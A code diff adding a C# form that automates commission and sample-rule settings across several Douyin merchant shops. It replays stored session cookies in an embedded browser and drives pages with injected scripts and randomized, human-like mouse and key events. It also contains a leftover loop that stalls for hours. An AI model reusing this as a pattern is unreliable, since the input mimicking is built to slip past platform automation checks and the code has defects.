+ private System.Windows.Forms.DataGridViewTextBoxColumn colMessage; + private DevComponents.DotNetBar.PanelEx btnStop; + private DevComponents.DotNetBar.PanelEx btnStart; + private DevComponents.DotNetBar.PanelEx btnEditSampleRule; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/CommissionForm.cs b/TEMUKJD/KJDForms/UploadForms/CommissionForm.cs new file mode 100644 index 0000000..3f7be34 --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/CommissionForm.cs @@ -0,0 +1,1095 @@ +using AllBase.Helper; +using AllBase.Model.Result; +using CefSharp; +using CefSharp.WinForms; +using LittleRabbit.Extension; +using LittleRabbit.Helper; +using LittleRabbit.LittleRabbitForms.BaseForms; +using NaiBa.CefHelper; +using NaiBa.CefHelper.Handler; +using NaiBa.Util.Extension; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.UploadForms +{ + public partial class CommissionForm : Form + { + ChromiumWebBrowser webBrowser = null; + int setPage = 99; + int currentPage = 0; + /// + /// 佣金比例 + /// + int commissionRate = 10; + string sampleRule = "不支持申样"; + /// + /// 指定佣金商品ID + /// + string commissionProductIds = ""; + bool isRun = false; + public CommissionForm() + { + InitializeComponent(); + } + + private void CommissionForm_Load(object sender, EventArgs e) + { + LoadShops(); + this.dgvShop.AddSelectorColumn("colSelect"); + } + + public void LoadShops() + { + for (int i = 0; i < GlobalConfig.DouShopLoginList.Count; i++) + { + var shop = GlobalConfig.DouShopLoginList[i]; + var row = dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value?.ToString() == shop.ShopAccountId); + if (row == null) + dgvShop.Rows.Add(false, shop.ShopAccountId, shop.ShopAccount, shop.LoginStatus); + else + { + row.Cells["colLoginStatus"].Value = shop.LoginStatus; + } + } + } + + private void CommissionForm_VisibleChanged(object sender, EventArgs e) + { + if (Visible) + LoadShops(); + } + + private void btnRefresh_Click(object sender, EventArgs e) + { + LoadShops(); + } + + private void btnStart_Click(object sender, EventArgs e) + { + BaseMsgForm.ShowError("因抖店平台调整,本功能暂时不可用。"); + return; + + this.setPage = this.txtTotalPage.Text.ParseToInt(); + this.commissionRate = this.txtRatio.Text.ParseToInt(); + this.sampleRule = rbNoSample.Checked ? "不支持申样" : "免费申样"; + var shopIds = this.dgvShop.Rows.Cast().Where(r => r.Cells["colSelect"].Value.ParseToBool() == true && r.Cells["colLoginStatus"].Value?.ToString() == "登录成功") + .Select(r => r.Cells["colShopId"].Value?.ToString()).ToList(); + var shops = GlobalConfig.DouShopLoginList.Where(s => shopIds.Contains(s.ShopAccountId)).ToList(); + + isRun = true; + btnStart.Enabled = false; + AddCommissionWithCef(shops); + Task.Run(() => + { + Thread.Sleep(8000); + Invoke(new Action(() => { btnStart.Enabled = true; })); + }); + } + + /// + /// 修改申样规则 + /// + /// + /// + private void btnEditSampleRule_Click(object sender, EventArgs e) + { + BaseMsgForm.ShowError("因抖店平台调整,本功能暂时不可用。"); + return; + + this.setPage = this.txtTotalPage.Text.ParseToInt(); + this.commissionRate = this.txtRatio.Text.ParseToInt(); + this.sampleRule = rbNoSample.Checked ? "不支持申样" : "免费申样"; + var shopIds = this.dgvShop.Rows.Cast().Where(r => r.Cells["colSelect"].Value.ParseToBool() == true && r.Cells["colLoginStatus"].Value?.ToString() == "登录成功") + .Select(r => r.Cells["colShopId"].Value?.ToString()).ToList(); + var shops = GlobalConfig.DouShopLoginList.Where(s => shopIds.Contains(s.ShopAccountId)).ToList(); + + isRun = true; + btnStart.Enabled = false; + EditSampleRuleWithCef(shops); + Task.Run(() => + { + Thread.Sleep(8000); + Invoke(new Action(() => { btnStart.Enabled = true; })); + }); + } + + void InitWebBrowser() + { + webBrowser = CEFBrowser.CreateChromiumWebBrowser("about:blank", false); + webBrowser.KeyboardHandler = new KeyboardHandler(); + webBrowser.Dock = DockStyle.Fill; + webBrowser.LifeSpanHandler = new LifeSpanHandlerLocal(PopWindowType.SelfWindow); + webBrowser.AddressChanged += WebBrowser_AddressChanged; + webBrowser.FrameLoadEnd += webBrowser_FrameLoadEnd; + webBrowser.SendToBack(); + this.panelEx1.Controls.Add(webBrowser); + } + + /// + /// 使用cef修改申样规则 + /// + /// + public void EditSampleRuleWithCef(List shops) + { + Task.Run(() => + { + if (webBrowser == null) + { + Invoke(new Action(() => + { + InitWebBrowser(); + })); + } + + while (!webBrowser.IsBrowserInitialized || webBrowser.IsLoading) + continue; + + for (int i = 0; i < shops.Count; i++) + { + + var shop = shops[i]; + if (shop == null) + { + continue; + } + + if (!isRun) + { + Invoke(new Action(() => + { + var row1 = dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value?.ToString() == shop.ShopAccountId); + if (row1 != null) + row1.Cells["colMessage"].Value = "设置中断"; + })); + break; + } + + Invoke(new Action(() => + { + this.statusBar.pgbTaskProgress.Maximum = shops.Count; + this.statusBar.lblTaskStatus.Text = "正在设置店铺:" + shop.ShopAccount + " 页数:" + (currentPage + 1) + "/" + setPage; + this.statusBar.pgbTaskProgress.Value = (i + 1); + this.statusBar.pgbTaskProgress.Text = (i + 1) + "/" + shops.Count; + })); + + var loadResult = LoadShopCommissionPage(shop); + if (!string.IsNullOrEmpty(loadResult)) + { + shop.Message = loadResult; + Invoke(new Action(() => + { + var row1 = dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value?.ToString() == shop.ShopAccountId); + if (row1 != null) + row1.Cells["colMessage"].Value = shop.Message; + })); + continue; + } + EditSampleRule(shop); + } + + isRun = false; + Invoke(new Action(() => + { + this.statusBar.lblTaskStatus.Text = "设置完成"; + btnStart.Enabled = true; + })); + }); + } + + void EditSampleRule(DouShopLoginInfo shop) + { + // 错误提示信息 + string failMsg = ""; + var productIds = commissionProductIds; + + #region 选择要设置的申样选项 + + // 点击打开申样选择框 + var jsStr = clickJsElementStr + + "function clickBtn2(txt1, txt2) {\r\n" + + " var elem = getElement(txt1);\r\n" + + " if(elem) {" + + " elem = elem.parentNode.parentNode;\r\n" + + " elem = getElement(txt2, elem);\r\n" + + " if (elem) {\r\n" + + " var e = document.createEvent('MouseEvents');\r\n" + + " e.initMouseEvent('mousedown', true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);\r\n" + + " elem.dispatchEvent(e); " + + " return 'success';\r\n" + + " }\r\n" + + " }\r\n" + + " return 'no_element';\r\n" + + "}\r\n" + + "clickBtn2('样品规则', '全部');\r\n"; + + var t1 = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + t1.Wait(); + if (t1.Result?.Result?.ToString() == null || t1.Result?.Result?.ToString() != "success") + { + failMsg = "编辑申样设置选项打开失败。"; + goto showFail; + } + + var selectSampleRule = "不支持申样"; + // 选择申样设置 + if (sampleRule == "不支持申样") + { + selectSampleRule = "免费申样"; + } + + Thread.Sleep(AllBase.Randomx.GetId(1500, 2500)); + jsStr = clickJsElementStr + + "function clickSelect() {\r\n" + + " var elem = getElement('>" + selectSampleRule + "<', document.getElementsByClassName('rc-virtual-list-holder-inner')[0]);\r\n" + + " if (elem) elem.click(); return 'success';\r\n" + + " return 'no_element';\r\n" + + "}\r\n" + + "clickSelect();\r\n"; + t1 = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + t1.Wait(); + if (t1.Result?.Result?.ToString() == null || t1.Result?.Result?.ToString() != "success") + { + failMsg = "编辑申样设置选项选择失败。"; + goto showFail; + } + + #endregion + + while (currentPage < setPage) + { + if (!isRun) + { + Invoke(new Action(() => + { + var row1 = dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value?.ToString() == shop.ShopAccountId); + if (row1 != null) + row1.Cells["colMessage"].Value = "编辑申样中断"; + })); + break; + } + + currentPage++; + Invoke(new Action(() => + { + this.statusBar.lblTaskStatus.Text = "正在编辑申样,店铺:" + shop.ShopAccount + " 页数:" + currentPage + "/" + setPage + "..."; + })); + + Thread.Sleep(AllBase.Randomx.GetId(1500, 2500)); + // 点击查询按钮 + jsStr = clickJsElementStr + + "function clickSearch(){" + + " var elem = getElement('查询 ');\r\n" + + " if (elem) elem.click(); return 'success';\r\n" + + " return 'no_element';\r\n" + + "} " + + "clickSearch();\r\n"; + t1 = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + t1.Wait(); + if (t1.Result?.Result?.ToString() != "success") + { + failMsg = "查询申样设置商品失败。"; + goto showFail; + } + + Thread.Sleep(AllBase.Randomx.GetId(1500, 2500)); + // 获取页面上是否有数据 + t1 = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync("document.body.innerHTML.indexOf('暂无数据') >= 0"); + t1.Wait(); + // 如果暂无数据,说明已设置完成,跳转到设置完成。 + if (t1.Result?.Result?.ToString()?.ToLower() == "true") + { + goto SetEnd; + } + + Thread.Sleep(AllBase.Randomx.GetId(1500, 2500)); + // 全选要设置的商品 + jsStr = "function selectAllProduct() { document.getElementsByClassName('auxo-checkbox-input')[0].click(); return 'success'; }" + + "selectAllProduct();"; + t1 = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + t1.Wait(); + if (t1.Result?.Result?.ToString() != "success") + { + failMsg = "全选申样设置商品失败。"; + goto showFail; + } + + Thread.Sleep(AllBase.Randomx.GetId(1500, 2500)); + // 点击设置申样门槛按钮 + jsStr = clickJsElementStr + + "function clickSetSample(){" + + " var elem = getElement('设置申样门槛');\r\n" + + " if (elem) elem.click(); return 'success';\r\n" + + " return 'no_element';\r\n" + + "} " + + "clickSetSample();\r\n"; + t1 = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + t1.Wait(); + if (t1.Result?.Result?.ToString() != "success") + { + failMsg = "点击设置申样门槛按钮失败"; + goto showFail; + } + + Thread.Sleep(AllBase.Randomx.GetId(1500, 2500)); + // 选择申样规则 + if (sampleRule == "不支持申样") + { + // 系统默认选择 不支持申样,不做操作; + } + else + { + jsStr = clickJsElementStr + + "function checkSampleRule(){" + + " var elem = getElement('" + sampleRule + "', document.getElementsByClassName('auxo-drawer-wrapper-body')[0]);\r\n" + + " if (elem) elem.click(); return 'success';\r\n" + + " return 'no_element';\r\n" + + "} " + + "checkSampleRule();\r\n"; + t1 = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + t1.Wait(); + if (t1.Result?.Result?.ToString() != "success") + { + failMsg = "选择申样设置门槛失败。"; + goto showFail; + } + } + + Thread.Sleep(AllBase.Randomx.GetId(1500, 2500)); + + jsStr = clickJsElementStr + + "function checkSampleRule(){" + + " var elem = getElement('确定', document.getElementsByClassName('auxo-drawer-wrapper-body')[0]);\r\n" + + " if (elem) elem.click(); return 'success';\r\n" + + " return 'no_element';\r\n" + + "} " + + "checkSampleRule();\r\n"; + t1 = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + t1.Wait(); + if (t1.Result?.Result?.ToString() != "success") + { + failMsg = "点击确定设置申样门槛失败。"; + goto showFail; + } + for (int k = 0; k < 5; k++) + { + Thread.Sleep(1000); + } + } + + SetEnd: + Invoke(new Action(() => + { + shop.Message = "设置完成"; + var row = dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value?.ToString() == shop.ShopAccountId); + if (row != null) + row.Cells["colMessage"].Value = "设置完成"; + })); + + showFail: + if (!string.IsNullOrEmpty(failMsg)) + { + if (failMsg.Contains("设置新增佣金商品不存在") || failMsg.Contains("佣金金额设置失败")) + { + shop.Message = "设置完成"; + } + else + { + shop.Message = failMsg; + + Invoke(new Action(() => + { + pnlShowError.Visible = true; + pnlShowError.Text = " 设置佣金部分失败:" + failMsg + " " + productIds.Trim(',') + " "; + this.pnlShowError.BringToFront(); + Task.Run(() => + { + Thread.Sleep(8000); + if (this.Created) + Invoke(new Action(() => + { + this.pnlShowError.Visible = false; + })); + }); + })); + } + Invoke(new Action(() => + { + var row1 = dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value?.ToString() == shop.ShopAccountId); + if (row1 != null) + row1.Cells["colMessage"].Value = shop.Message; + })); + } + } + + /// + /// 添加普通佣金 + /// + /// + /// + public void AddCommissionWithCef(List shops) + { + Task.Run(() => + { + if (webBrowser == null) + { + Invoke(new Action(() => + { + InitWebBrowser(); + })); + } + + while (!webBrowser.IsBrowserInitialized || webBrowser.IsLoading) + continue; + + for (int i = 0; i < shops.Count; i++) + { + + var shop = shops[i]; + if (shop == null) + { + continue; + } + + if (!isRun) + { + Invoke(new Action(() => + { + var row1 = dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value?.ToString() == shop.ShopAccountId); + if (row1 != null) + row1.Cells["colMessage"].Value = "设置中断"; + })); + break; + } + + Invoke(new Action(() => + { + this.statusBar.pgbTaskProgress.Maximum = shops.Count; + this.statusBar.lblTaskStatus.Text = "正在设置店铺:" + shop.ShopAccount + " 页数:" + (currentPage + 1) + "/" + setPage; + this.statusBar.pgbTaskProgress.Value = (i + 1); + this.statusBar.pgbTaskProgress.Text = (i + 1) + "/" + shops.Count; + })); + + var loadResult = LoadShopCommissionPage(shop); + if (!string.IsNullOrEmpty(loadResult)) + { + shop.Message = loadResult; + Invoke(new Action(() => + { + var row1 = dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value?.ToString() == shop.ShopAccountId); + if (row1 != null) + row1.Cells["colMessage"].Value = shop.Message; + })); + continue; + } + SetNewCommission(shop); + } + + isRun = false; + Invoke(new Action(() => + { + this.statusBar.lblTaskStatus.Text = "设置完成"; + btnStart.Enabled = true; + })); + }); + } + + /// + /// 登录店铺佣金页面 + /// + /// + private string LoadShopCommissionPage(DouShopLoginInfo shop) + { + Thread.Sleep(1000); + + // 错误提示信息 + string failMsg = ""; + currentPage = 0; + var cookie = shop.Cookies; + CEFBrowser.DeleteCookie(webBrowser.RequestContext.GetCookieManager(null)); + var t = CEFBrowser.SetCookieAsync("jinritemai.com", cookie, webBrowser.RequestContext.GetCookieManager(null)); + t.Wait(8000); + + for (int j = 0; j < 50; j++) + { + Thread.Sleep(1500); + //webBrowser.Load("https://buyin.jinritemai.com/dashboard/activity/common-plan"); + var jsStr = "window.location.href='https://fxg.jinritemai.com/ffa/mshop/homepage/index';"; + var t1 = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + t1.Wait(8000); + do + { + Thread.Sleep(1000); + } + while (webBrowser.IsLoading); + Thread.Sleep(AllBase.Randomx.GetId(2000, 3000)); + + jsStr = clickJsElementStr + "getElement('精选联盟').click();"; + t1 = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + t1.Wait(8000); + do + { + Thread.Sleep(1000); + } + while (webBrowser.IsLoading); + Thread.Sleep(AllBase.Randomx.GetId(2000, 3000)); + + jsStr = "window.location.href='https://buyin.jinritemai.com/dashboard/activity/common-plan';"; + t1 = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + t1.Wait(8000); + do + { + Thread.Sleep(1000); + } + while (webBrowser.IsLoading); + Thread.Sleep(AllBase.Randomx.GetId(4000, 5000)); + + jsStr = clickJsElementStr + + "function clickBtn(txt) {\r\n" + + " var elem = getElement(txt);\r\n" + + " if (elem) elem.click(); return 'success';\r\n" + + " return 'no_element';\r\n" + + "}\r\n" + + "clickBtn('添加商品');\r\n"; + + // 先判断页面是否加载失败 + t1 = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync("document.body.innerHTML.indexOf('加载失败') >= 0"); + t1.Wait(); + // 如果加载失败,通过点击计划按钮尝试再次加载 + if (t1.Result?.Result?.ToString()?.ToLower() == "true") + { + Thread.Sleep(1500 + AllBase.Randomx.GetId(1000)); + var jsStrx = jsStr.Replace("clickBtn('添加商品');", "clickBtn('定向计划');"); + var t1x = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStrx); + t1x.Wait(); + if (t1x.Result?.Result?.ToString() == "success") + { + Thread.Sleep(1500 + AllBase.Randomx.GetId(1000)); + jsStrx = jsStr.Replace("clickBtn('添加商品');", "clickBtn('普通计划');"); + t1x = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStrx); + t1x.Wait(); + } + // 二次判断页面是否仍加载失败,如果加载仍失败,则重新load网页。 + Thread.Sleep(1500 + AllBase.Randomx.GetId(1000)); + t1 = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync("document.body.innerHTML.indexOf('加载失败') >= 0"); + t1.Wait(); + // 如果加载失败 + if (t1.Result?.Result?.ToString()?.ToLower() == "true") + continue; + else + break; + } + else + break; + } + Thread.Sleep(2000); + + for (int j = 0; j < 10; j++) + { + var jsCode = "function closeMask() {" + + "if (document.body.innerHTML.indexOf('普通计划') < 0) return;" + + "var mask1 = document.getElementsByClassName('ant-modal-root')[0];" + + "if (mask1) mask1.parentNode.removeChild(mask1);" + + "var mask2 = document.getElementsByClassName('y-guide')[0];" + + "if (mask2) mask2.parentNode.removeChild(mask2);" + + "var mask3 = document.getElementById('browser-support-tip');" + + "if (mask3) mask3.parentNode.removeChild(mask3);" + + "}" + + "closeMask();"; + t = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsCode); + t.Wait(3000); + Thread.Sleep(300); + } + + return failMsg; + } + + /// + /// 设置新佣金 + /// + /// + private void SetNewCommission(DouShopLoginInfo shop) + { + // 错误提示信息 + string failMsg = ""; + var rate = commissionRate; + var productIds = commissionProductIds; + + //var jsStr = clickJsElementStr + + // "function clickBtn(txt) {\r\n" + + // " var elem = getElement(txt);\r\n" + + // " if (elem) elem.click(); return 'success';\r\n" + + // " return 'no_element';\r\n" + + // "}\r\n" + + // "clickBtn('添加商品');\r\n"; + + //// 打开新增佣金商品列表 + //var t0 = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + //t0.Wait(); + + //if (t0.Result?.Result?.ToString() != "success") + //{ + // failMsg = "新增佣金商品列表打开失败。"; + // return failMsg; + //} + + while (currentPage < setPage) + { + if (!isRun) + { + Invoke(new Action(() => + { + var row1 = dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value?.ToString() == shop.ShopAccountId); + if (row1 != null) + row1.Cells["colMessage"].Value = "设置中断"; + })); + break; + } + + currentPage++; + Invoke(new Action(() => + { + this.statusBar.lblTaskStatus.Text = "正在设置店铺:" + shop.ShopAccount + " 页数:" + currentPage + "/" + setPage + "..."; + })); + + var jsStr = clickJsElementStr + + "function clickBtn2(txt) {\r\n" + + " if (document.body.innerHTML.indexOf('添加推广商品') >= 0)\r\n" + + " return 'success';\r\n" + + " var elem = getElement(txt);\r\n" + + " if (elem) elem.click(); return 'success';\r\n" + + " return 'no_element';\r\n" + + "}\r\n" + + "clickBtn2('添加商品');\r\n"; + var t1 = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + t1.Wait(); + if (t1.Result?.Result?.ToString() == "加载失败" || t1.Result?.Result?.ToString() == null) + continue; + if (t1.Result?.Result?.ToString() != "success") + { + failMsg = "新增佣金商品列表打开失败。"; + goto showFail; + } + + int x = 0, y = 0; + string jsStr1 = "", result = ""; + Task task = null; + var host = webBrowser.GetBrowser().GetHost(); + #region 选择批量查询选项 + if (!string.IsNullOrEmpty(productIds)) + { + x = 0; + y = 0; + jsStr1 = "function getPos() { var box = document.getElementsByClassName('search-product-select');" + + "if (box[0] == null) return '-|-';" + + "var actualLeft = box[0].offsetLeft;" + + "var actualTop = box[0].offsetTop;" + + "var current = box[0].offsetParent;" + + "while (current !== null) { actualLeft += current.offsetLeft; actualTop += current.offsetTop; current = current.offsetParent; }" + + "return '' + actualLeft + '|' + actualTop;}" + + "getPos();"; + task = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr1); + task.Wait(); + result = task.Result?.Result?.ToString(); + + if (result != null && result != "-|-") + { + var arr = result.Split('|'); + if (arr.Length == 2) + { + x = Convert.ToInt32(arr[0]); + y = Convert.ToInt32(arr[1]); + } + int x1 = x + new Random(DateTime.Now.Millisecond).Next(6, 30); + int y1 = y + new Random(DateTime.Now.Millisecond).Next(6, 16); + host.SendMouseClickEvent(x1, y1, MouseButtonType.Left, false, 1, CefEventFlags.None); // 按下鼠标左键 + Thread.Sleep(70 + new Random(DateTime.Now.Millisecond).Next(50)); + host.SendMouseClickEvent(x1, y1, MouseButtonType.Left, true, 1, CefEventFlags.None); // 松开鼠标左键 + Thread.Sleep(500 + new Random(DateTime.Now.Millisecond).Next(500)); + + x1 = x + new Random(DateTime.Now.Millisecond).Next(6, 30); + y1 = y + new Random(DateTime.Now.Millisecond).Next(84, 94); + host.SendMouseClickEvent(x1, y1, MouseButtonType.Left, false, 1, CefEventFlags.None); // 按下鼠标左键 + Thread.Sleep(70 + new Random(DateTime.Now.Millisecond).Next(50)); + host.SendMouseClickEvent(x1, y1, MouseButtonType.Left, true, 1, CefEventFlags.None); // 松开鼠标左键 + Thread.Sleep(1500 + new Random(DateTime.Now.Millisecond).Next(500)); + } + else + { + failMsg = "佣金商品列表获取失败。"; + goto showFail; + } + #endregion + + #region 输入商品编号并查询 + + jsStr1 = "function getPos() { var box = document.getElementsByClassName('ant-select-show-search');" + + "if (box[0] == null) return '-|-';" + + "var actualLeft = box[0].offsetLeft;" + + "var actualTop = box[0].offsetTop;" + + "var current = box[0].offsetParent;" + + "while (current !== null) { actualLeft += current.offsetLeft; actualTop += current.offsetTop; current = current.offsetParent; }" + + "return '' + actualLeft + '|' + actualTop;}" + + "getPos();"; + task = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr1); + task.Wait(); + result = task.Result?.Result?.ToString(); + + if (result != null && result != "-|-") + { + var arr = result.Split('|'); + if (arr.Length == 2) + { + x = Convert.ToInt32(arr[0]); + y = Convert.ToInt32(arr[1]); + } + int x1 = x + new Random(DateTime.Now.Millisecond).Next(6, 30); + int y1 = y + new Random(DateTime.Now.Millisecond).Next(6, 16); + host.SendMouseClickEvent(x1, y1, MouseButtonType.Left, false, 1, CefEventFlags.None); // 按下鼠标左键 + Thread.Sleep(70 + new Random(DateTime.Now.Millisecond).Next(50)); + host.SendMouseClickEvent(x1, y1, MouseButtonType.Left, true, 1, CefEventFlags.None); // 松开鼠标左键 + Thread.Sleep(500 + new Random(DateTime.Now.Millisecond).Next(500)); + + Invoke(new Action(() => + { + Clipboard.Clear(); + Clipboard.SetDataObject("" + productIds.TrimEnd(',')); // 复制要搜索的商品ID到剪贴板 + })); + + // 黏贴 ctrl + v + host.SendKeyEvent(new CefSharp.KeyEvent() { WindowsKeyCode = 86, Type = KeyEventType.RawKeyDown, Modifiers = CefEventFlags.ControlDown }); + Thread.Sleep(1250 + new Random(DateTime.Now.Millisecond).Next(250)); + } + else + { + failMsg = "查询新增佣金商品失败。"; + goto showFail; + } + } + + // 点击查询按钮 + jsStr1 = "document.getElementsByClassName('search-btns-item-first')[0].click();"; + task = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr1); + task.Wait(); + Thread.Sleep(2500 + new Random(DateTime.Now.Millisecond).Next(500)); + + // 获取页面上是否有数据 + task = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync("document.getElementsByClassName('auxo-drawer-wrapper-body')[0].innerHTML.indexOf('暂无数据') >= 0"); + task.Wait(); + // 如果暂无数据,说明已设置完成,跳转到设置完成。 + if (task.Result?.Result?.ToString()?.ToLower() == "true") + { + goto SetEnd; + } + #endregion + + #region 勾选商品信息 + jsStr1 = getFirstElementJsStr + + "\r\nfunction getInnerHtml() {\r\n" + + " var item = document.getElementsByClassName('ant-table-wrapper activity-list-table')[0];\r\n" + + " if (item) {\r\n" + + " return item.innerHTML;\r\n" + + " }\r\n" + + " return 'no_element';\r\n" + + "}\r\n" + + "getInnerHtml();"; + task = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr1); + task.Wait(); + Thread.Sleep(1500 + new Random(DateTime.Now.Millisecond).Next(500)); + var idArray = productIds.TrimEnd(',').Split(','); + if (task.Result?.Result?.ToString() == null || !idArray.Any(a => task.Result.Result.ToString().Contains(a))) + { + failMsg = "设置新增佣金商品不存在。"; + goto showFail; + } + + jsStr1 = getFirstElementJsStr + + "\r\nfunction clickCheckBox() {\r\n" + + " var item = document.getElementsByClassName('auxo-table-wrapper activity-list-table')[0];\r\n" + + " if (item) {\r\n" + + " var tHead = getFirstElement('THEAD', item)\r\n" + + " var tagItem = getFirstElement('INPUT', tHead)\r\n" + + " if (tagItem) tagItem.click(); return 'success';\r\n" + + " }\r\n" + + " return 'no_element';\r\n" + + "}\r\n" + + "clickCheckBox();"; + task = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr1); + task.Wait(); + Thread.Sleep(1500 + new Random(DateTime.Now.Millisecond).Next(500)); + if (task.Result?.Result?.ToString() != "success") + { + failMsg = "设置新增佣金商品选择失败。"; + goto showFail; + } + #endregion + + #region 点击确定设置佣金 + jsStr1 = "const originalPush = Router.prototype.push;" + + "Router.prototype.push = function push(location) {" + + " return originalPush.call(this, location).catch(err => err) " + + "}" + + + "function clickSetCommMulti() {" + + " var btn = document.getElementsByClassName('exclusive_commodity-filter-drawer-footer-operations__operation ant-btn-primary')[0];" + + " if (btn) { btn.click(); return; }" + + " btn = document.getElementsByClassName('auxo-btn-primary exclusive_commodity-filter-drawer-footer-operations__operation')[0];" + + " if (btn) { btn.click(); return; }" + + "}" + + "clickSetCommMulti();"; + task = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr1); + task.Wait(); + Thread.Sleep(1500 + new Random(DateTime.Now.Millisecond).Next(500)); + #endregion + + for (int i = 0; i < 9999; i++) + { + Thread.Sleep(1000); + } + + #region 设置申样 + if (sampleRule == "不支持申样") + { + jsStr = clickJsElementStr + + "function checkSampleRule(){" + + " var elem = getElement('" + sampleRule + "', document.getElementsByClassName('auxo-drawer-wrapper-body')[0]);\r\n" + + " if (elem) elem.click(); return 'success';\r\n" + + " return 'no_element';\r\n" + + "} " + + "checkSampleRule();\r\n"; + t1 = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + t1.Wait(); + if (t1.Result?.Result?.ToString() != "success") + { + failMsg = "选择申样设置门槛失败。"; + goto showFail; + } + } + #endregion + + #region 设置佣金金额 + jsStr1 = "function getPos() { var box = document.getElementsByClassName('auxo-input-number-input');" + + "if (box[0] == null) return '-|-';" + + "var actualLeft = box[0].offsetLeft;" + + "var actualTop = box[0].offsetTop;" + + "var current = box[0].offsetParent;" + + "while (current !== null) { actualLeft += current.offsetLeft; actualTop += current.offsetTop; current = current.offsetParent; }" + + "return '' + actualLeft + '|' + actualTop;}" + + "getPos();"; + task = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr1); + task.Wait(); + result = task.Result?.Result?.ToString(); + + if (result != null && result != "-|-") + { + var arr = result.Split('|'); + if (arr.Length == 2) + { + x = Convert.ToInt32(arr[0]); + y = Convert.ToInt32(arr[1]); + } + int x1 = x + new Random(DateTime.Now.Millisecond).Next(30, 60); + int y1 = y + new Random(DateTime.Now.Millisecond).Next(6, 16); + host.SendMouseClickEvent(x1, y1, MouseButtonType.Left, false, 1, CefEventFlags.None); // 按下鼠标左键 + Thread.Sleep(70 + new Random(DateTime.Now.Millisecond).Next(50)); + host.SendMouseClickEvent(x1, y1, MouseButtonType.Left, true, 1, CefEventFlags.None); // 松开鼠标左键 + Thread.Sleep(150 + new Random(DateTime.Now.Millisecond).Next(150)); + + // 模拟输入退格键 + host.SendKeyEvent(new CefSharp.KeyEvent() { WindowsKeyCode = 8, Type = KeyEventType.RawKeyDown, Modifiers = CefEventFlags.None }); + Thread.Sleep(250 + new Random(DateTime.Now.Millisecond).Next(250)); + // 模拟输入退格键 + host.SendKeyEvent(new CefSharp.KeyEvent() { WindowsKeyCode = 8, Type = KeyEventType.RawKeyDown, Modifiers = CefEventFlags.None }); + Thread.Sleep(250 + new Random(DateTime.Now.Millisecond).Next(250)); + + Invoke(new Action(() => + { + Clipboard.Clear(); + Clipboard.SetDataObject("" + rate); // 复制要搜索的商品ID到剪贴板 + })); + + // 黏贴 ctrl + v + host.SendKeyEvent(new CefSharp.KeyEvent() { WindowsKeyCode = 86, Type = KeyEventType.RawKeyDown, Modifiers = CefEventFlags.ControlDown }); + Thread.Sleep(1500 + new Random(DateTime.Now.Millisecond).Next(500)); + } + else + { + failMsg = "佣金金额设置失败。"; + goto showFail; + } + #endregion + + #region 最后点击确定按钮设置佣金 + //apply-sample-modal-footer + jsStr1 = clickJsElementStr + + "function clickOkBtn(){" + + " var elem = getElement('确定', document.getElementsByClassName('auxo-drawer-wrapper-body')[0]);\r\n" + + " if (elem) elem.click(); return 'success';\r\n" + + " return 'no_element';\r\n" + + "} " + + "clickOkBtn();\r\n"; + task = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr1); + task.Wait(); + Thread.Sleep(500 + new Random(DateTime.Now.Millisecond).Next(500)); + #endregion + + Thread.Sleep(2000); + + //bool isRetry = false; + //Retry: + //var url = "https://buyin.jinritemai.com/api/promotion/createXdPromotions"; + ////if (!string.IsNullOrEmpty(sign)) + //// url += "?_signature=" + sign; + //var request = new CommonSimRequest(); + //var referer = "https://buyin.jinritemai.com/dashboard/activity/common-plan"; + //var data = "cos_ratio=" + rate + "&apply_style=1&product_ids=" + productIds.Trim(','); + //Dictionary headers = new Dictionary(); + //headers.Add("Origin", @"https://buyin.jinritemai.com"); + //var html = request.Request_Post(url, referer, headers, shop.Cookies, data); + //if (html.Contains("\"msg\":\"success\"") && 